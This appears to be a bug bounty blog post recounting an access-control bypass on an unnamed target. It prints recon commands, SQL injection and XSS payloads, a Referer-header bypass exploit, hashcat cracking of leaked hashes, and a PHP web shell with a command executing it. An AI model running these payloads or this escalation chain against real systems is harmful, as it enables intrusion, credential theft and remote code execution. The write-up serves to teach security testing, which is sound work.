I Found a Zero-Day Exploit & Got Paid $3000 — Full Real-World Breakdown!

Images By — TheindianNetwork

Bug bounty hunting and security research demand patience, creativity, and deep technical knowledge. In this article, I’ll walk you through my journey of discovering a zero-day vulnerability, my failed attempts, and how I ultimately reported it responsibly for a bounty. Unlike exaggerated bug bounty stories, this is a realistic case study of how persistence led to success.

Every bug bounty hunter begins with reconnaissance. I started by gathering as much information as possible about the target system.

Used tools like amass, Subfinder, and Assetfinder to collect all available subdomains.Found several development subdomains.Commands used:amass enum -passive -d target.com subfinder -d target.com assetfinder --subs-only target.comPython Automation:import subprocess domains = ["target.com"] for domain in domains: subprocess.run(["amass", "enum", "-passive", "-d", domain]) subprocess.run(["subfinder", "-d", domain]) subprocess.run(["assetfinder", "--subs-only", domain])Used dirsearch and ffuf to find hidden directories and API endpoints:dirsearch -u https://dev.target.com -e php,html,json ffuf -u https://dev.target.com/FUZZ -w wordlist.txtPython Script:import requests urls = ["https://dev.target.com"] wordlist = ["admin", "config", "api", "login"] for url in urls: for word in wordlist: full_url = f"{url}/{word}" response = requests.get(full_url) if response.status_code == 200: print(f"Found: {full_url}")Discovered an internal API endpoint /internal-api/config.Intercepted requests using Burp Suite.Sent requests to /internal-api/config and received an HTTP 403 Forbidden.Tried different headers, authentication methods, and request tampering.Nothing worked initially — this was a dead end… for now.

Not every bug is discovered instantly. I spent days testing different approaches that didn’t work.

Tried SQL payloads in API parameters:' OR 1=1 -- " OR 1=1 --Result: Proper input sanitization prevented SQL injection.Tested stored and reflected XSS payloads, but the application filtered <script> tags effectively.Tried SVG-based XSS:<svg onload=alert('XSS')></svg>Result: Content security policies blocked script execution.Tried JWT token manipulation, cookie tampering, and parameter pollution.Nothing worked.

I was stuck for over a week. This is where many hackers give up — but I kept looking deeper.

After a week of failures, I revisited the internal API endpoint (/internal-api/config). I noticed something interesting:

The API blocked direct requests with a 403 Forbidden response.But when accessed via a specific Referer header, it returned sensitive configuration data!Payload:curl -H "Referer: https://dev.target.com/admin" https://dev.target.com/internal-api/configPython Exploit:import requests

headers = {"Referer": "https://dev.target.com/admin"}
url = "https://dev.target.com/internal-api/config"
response = requests.get(url, headers=headers)

if response.status_code == 200:
print("Vulnerability Found! Data:", response.text)

Result: The API leaked database credentials and internal configurations.Using the leaked credentials, I accessed the staging database.Found admin email addresses and password hashes.Cracked hashes using hashcat:hashcat -m 0 hashes.txt rockyou.txt --forceSuccessfully recovered an admin password!Used the credentials to log into the admin panel.Discovered a file upload feature — potential for RCE (Remote Code Execution)!Uploaded a malicious PHP shell:<?php system($_GET['cmd']); ?>Executed commands remotely:curl https://dev.target.com/uploads/shell.php?cmd=idResult: Full remote shell access!Summary: Improper access control led to full database and system compromise.Impact: Attackers could exfiltrate data, modify records, and execute arbitrary commands.Steps to Reproduce:Send a Referer header to bypass access control.Extract database credentials.Crack admin password hashes.Log in and upload a malicious file.Execute arbitrary system commands.The company confirmed the issue in 72 hours.Rewarded me $3,000 for the zero-day vulnerability.Patch implemented: Restricted API access & added proper authentication.

Discovering this zero-day exploit and getting $3,000 wasn’t luck — it was deep recon, persistence, and ethical reporting. If you’re serious about cybersecurity, keep learning, testing, and improving!

🚀 Start hunting today — your next big bug could be worth thousands!

📧 Contact me: theindiannetwork@protonmail.com
🌐 My Blog: theindiannetwork.medium.com
📺 My YouTube Channel: youtube.com/@theindiannetwork